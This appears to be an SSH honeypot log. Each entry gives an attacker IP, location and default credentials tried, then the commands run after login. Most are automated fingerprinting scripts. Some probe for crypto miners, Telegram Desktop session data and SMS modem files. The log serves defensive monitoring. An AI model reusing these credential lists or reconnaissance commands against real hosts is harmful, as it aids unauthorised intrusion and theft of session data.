2026-03-05 14:22 EST Β· as admin/123456, admin/admin, admin/admin123
export β†’ uname β†’ cat (repeated export 10x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—10
$ uname -s -v -n -m 2 > /dev/null Γ—10
$ uname -m 2 > /dev/null Γ—10
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—10
🎭 lotus_sol_2 (168.144.28.69) β€” Bengaluru, India Β· 16 sessions Β· 16 cmds
2026-03-05 14:10 EST Β· as admin/admin, admin/admin123, deploy/deploy
Ran uname 16x across 16 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—16
🎭 scone_root_7 (206.189.19.107) β€” Slough, United Kingdom Β· 4 sessions Β· 16 cmds
2026-03-05 14:11 EST Β· as admin/admin123, root/1234, root/admin123
export β†’ uname β†’ cat (repeated export 4x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—4
$ uname -s -v -n -m 2 > /dev/null Γ—4
$ uname -m 2 > /dev/null Γ—4
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—4
🎭 eagle_root_18 (104.131.78.91) β€” Clifton, United States Β· 4 sessions Β· 16 cmds
2026-03-05 12:55 EST Β· as root/12345678, root/admin, root/admin123
export β†’ uname β†’ cat (repeated export 4x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—4
$ uname -s -v -n -m 2 > /dev/null Γ—4
$ uname -m 2 > /dev/null Γ—4
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—4
🎭 scone_root_15 (144.126.224.157) β€” Slough, United Kingdom Β· 6 sessions Β· 24 cmds
2026-03-05 12:49 EST Β· as root/1234, root/12345678, root/admin
export β†’ uname β†’ cat (repeated export 6x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—6
$ uname -s -v -n -m 2 > /dev/null Γ—6
$ uname -m 2 > /dev/null Γ—6
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—6
🎭 rogue_root_52 (188.166.236.67) β€” Singapore, Singapore Β· 2 sessions Β· 8 cmds
2026-03-05 12:25 EST Β· as root/1234, root/12345678
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—2
$ uname -s -v -n -m 2 > /dev/null Γ—2
$ uname -m 2 > /dev/null Γ—2
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—2
🎭 lotus_root_14 (20.219.107.73) β€” Chennai, India Β· 2 sessions Β· 8 cmds
2026-03-05 08:02 EST Β· as root/admin, root/toor
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—2
$ uname -s -v -n -m 2 > /dev/null Γ—2
$ uname -m 2 > /dev/null Γ—2
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—2
🎭 cipher_sol_3 (157.245.193.43) β€” Singapore, Singapore Β· 8 sessions Β· 8 cmds
2026-03-04 15:22 EST Β· as sol/sol, ubuntu/ubuntu
Ran uname 8x across 8 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m Γ—8
↳ obfuscated system check
🎭 reef_sol (209.38.93.137) β€” Sydney, Australia Β· 4 sessions Β· 4 cmds
2026-03-04 22:57 EST Β· as sol/sol, solana/solana
Ran uname 4x across 4 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m Γ—4
↳ obfuscated system check
🎭 star_sol_6 (161.35.135.113) β€” Clifton, United States Β· 3 sessions Β· 3 cmds
2026-03-05 05:56 EST Β· as firedancer/firedancer, sol/sol, ubuntu/ubuntu
Ran uname 3x across 3 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m Γ—3
↳ obfuscated system check
🎭 burger_sol_5 (45.55.188.115) β€” Clifton, United States Β· 1 session Β· 1 cmd
2026-03-05 05:54 EST Β· as sol/sol
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m
↳ obfuscated system check
🎭 liberty_sol_6 (64.23.237.154) β€” Santa Clara, United States Β· 6 sessions Β· 6 cmds
2026-03-04 19:02 EST Β· as firedancer/firedancer, sol/sol, solana/solana
Ran uname 6x across 6 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m Γ—6
↳ obfuscated system check
🎭 eagle_sol_3 (157.230.219.41) β€” North Bergen, United States Β· 2 sessions Β· 2 cmds
2026-03-05 00:04 EST Β· as sol/sol
Ran uname 2x across 2 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m Γ—2
↳ obfuscated system check
🎭 lotus_sol (165.232.191.98) β€” Bengaluru, India Β· 16 sessions Β· 16 cmds
2026-03-05 04:33 EST Β· as admin/admin, admin/admin123, deploy/deploy
Ran uname 16x across 16 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—16
🎭 autobahn_sol_2 (46.101.251.163) β€” Frankfurt am Main, Germany Β· 4 sessions Β· 4 cmds
2026-03-04 18:15 EST Β· as solana/solana, solv/solv
Ran uname 4x across 4 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m Γ—4
↳ obfuscated system check
🎭 windmill_sol_2 (167.172.42.243) β€” Amsterdam, Netherlands Β· 9 sessions Β· 9 cmds
2026-03-05 03:28 EST Β· as firedancer/firedancer, jito/jito, sol/sol
Ran uname 9x across 9 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m Γ—9
↳ obfuscated system check
🎭 dutch_sol_3 (159.223.225.168) β€” Amsterdam, Netherlands Β· 6 sessions Β· 6 cmds
2026-03-04 20:20 EST Β· as solv/123456, solv/solv
Ran uname 6x across 6 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m Γ—6
↳ obfuscated system check
🎭 star_sol_7 (143.244.190.213) β€” Santa Clara, United States Β· 5 sessions Β· 5 cmds
2026-03-05 01:40 EST Β· as sol/12345678, sol/sol, solana/solana
Ran uname 5x across 5 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m Γ—5
↳ obfuscated system check
🎭 fjord_root_6 (92.33.220.210) β€” Eskilstuna, Sweden Β· 1 session Β· 9 cmds
2026-03-05 01:47 EST Β· as root/admin
network mapping β†’ OS/kernel identification β†’ CPU profiling
$ /ip cloud print
$ ifconfig
↳ network mapping
$ uname -a
↳ OS/kernel identification
$ cat /proc/cpuinfo
↳ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
🎭 gouda_sol_8 (157.245.68.119) β€” Amsterdam, Netherlands Β· 10 sessions Β· 10 cmds
2026-03-05 00:19 EST Β· as eth/eth, sol/123, sol/sol
Ran uname 10x across 10 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m Γ—10
↳ obfuscated system check
🎭 cowboy_sol_8 (157.230.83.123) β€” North Bergen, United States Β· 3 sessions Β· 3 cmds
2026-03-04 21:32 EST Β· as solana/solana
Ran uname 3x across 3 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m Γ—3
↳ obfuscated system check
🎭 star_sol_2 (64.23.142.199) β€” Santa Clara, United States Β· 16 sessions Β· 16 cmds
2026-03-04 23:02 EST Β· as admin/admin, admin/admin123, deploy/deploy
Ran uname 16x across 16 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—16
🎭 bike_sol_5 (104.248.94.247) β€” Amsterdam, Netherlands Β· 2 sessions Β· 2 cmds
2026-03-04 22:43 EST Β· as solana/solana, solv/solv
Ran uname 2x across 2 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m Γ—2
↳ obfuscated system check
🎭 burger_sol_2 (146.190.124.144) β€” Santa Clara, United States Β· 10 sessions Β· 10 cmds
2026-03-04 18:32 EST Β· as admin/admin, admin/admin123, postgres/postgres
Ran uname 10x across 10 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m Γ—10
↳ obfuscated system check
🎭 k-pop_root_7 (116.34.14.135) β€” Donggu, South Korea Β· 1 session Β· 9 cmds
2026-03-04 21:54 EST Β· as root/admin
network mapping β†’ OS/kernel identification β†’ CPU profiling
$ /ip cloud print
$ ifconfig
↳ network mapping
$ uname -a
↳ OS/kernel identification
$ cat /proc/cpuinfo
↳ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
🎭 star_sol_8 (174.138.87.207) β€” Clifton, United States Β· 12 sessions Β· 12 cmds
2026-03-04 19:18 EST Β· as sol/sol, solana/solana, solv/123456
Ran uname 12x across 12 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m Γ—12
↳ obfuscated system check
🎭 bike_root_11 (152.42.140.77) β€” Amsterdam, Netherlands Β· 1 session Β· 1 cmd
2026-03-04 20:42 EST Β· as ubuntu/ubuntu
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m
↳ obfuscated system check
🎭 clog_sol (152.42.143.137) β€” Amsterdam, Netherlands Β· 16 sessions Β· 16 cmds
2026-03-04 20:01 EST Β· as admin/admin, admin/admin123, deploy/deploy
Ran uname 16x across 16 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—16
🎭 gouda_root_13 (188.166.54.43) β€” Amsterdam, Netherlands Β· 1 session Β· 1 cmd
2026-03-04 20:16 EST Β· as ubuntu/ubuntu
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m
↳ obfuscated system check
🎭 gouda_sol_6 (188.166.45.126) β€” Amsterdam, Netherlands Β· 16 sessions Β· 16 cmds
2026-03-04 18:46 EST Β· as admin/admin, admin/admin123, deploy/deploy
Ran uname 16x across 16 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—16
🎭 pretzel_root_16 (88.99.24.59) β€” Falkenstein, Germany Β· 4 sessions Β· 16 cmds
2026-03-03 13:02 EST Β· as admin/123456, root/1234, root/admin
export β†’ uname β†’ cat (repeated export 4x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—4
$ uname -s -v -n -m 2 > /dev/null Γ—4
$ uname -m 2 > /dev/null Γ—4
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—4
🎭 dutch_root_10 (178.62.207.223) β€” Amsterdam, Netherlands Β· 1 session Β· 1 cmd
2026-03-04 16:41 EST Β· as admin/admin
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m
↳ obfuscated system check
🎭 pretzel_root_17 (138.68.92.87) β€” Frankfurt am Main, Germany Β· 1 session Β· 4 cmds
2026-03-04 14:09 EST Β· as root/1234
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output"
$ uname -s -v -n -m 2 > /dev/null
$ uname -m 2 > /dev/null
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1
🎭 eagle_root_19 (66.29.128.133) β€” Phoenix, United States Β· 2 sessions Β· 8 cmds
2026-03-04 13:08 EST Β· as root/admin
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—2
$ uname -s -v -n -m 2 > /dev/null Γ—2
$ uname -m 2 > /dev/null Γ—2
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—2
🎭 star_root_18 (67.205.161.207) β€” North Bergen, United States Β· 4 sessions Β· 16 cmds
2026-03-04 08:35 EST Β· as root/1234, root/admin, root/toor
export β†’ uname β†’ cat (repeated export 4x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—4
$ uname -s -v -n -m 2 > /dev/null Γ—4
$ uname -m 2 > /dev/null Γ—4
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—4
🎭 tea_root_11 (68.183.39.19) β€” Slough, United Kingdom Β· 1 session Β· 4 cmds
2026-03-04 12:40 EST Β· as admin/admin
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output"
$ uname -s -v -n -m 2 > /dev/null
$ uname -m 2 > /dev/null
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1
🎭 fog_root_3 (161.35.32.19) β€” Slough, United Kingdom Β· 7 sessions Β· 28 cmds
2026-03-04 11:23 EST Β· as admin/admin, admin/admin123, admin/password
export β†’ uname β†’ cat (repeated export 7x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—7
$ uname -s -v -n -m 2 > /dev/null Γ—7
$ uname -m 2 > /dev/null Γ—7
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—7
🎭 tea_root_12 (206.189.125.160) β€” Slough, United Kingdom Β· 2 sessions Β· 8 cmds
2026-03-04 12:15 EST Β· as postgres/postgres, root/qwerty
export β†’ uname β†’ cat
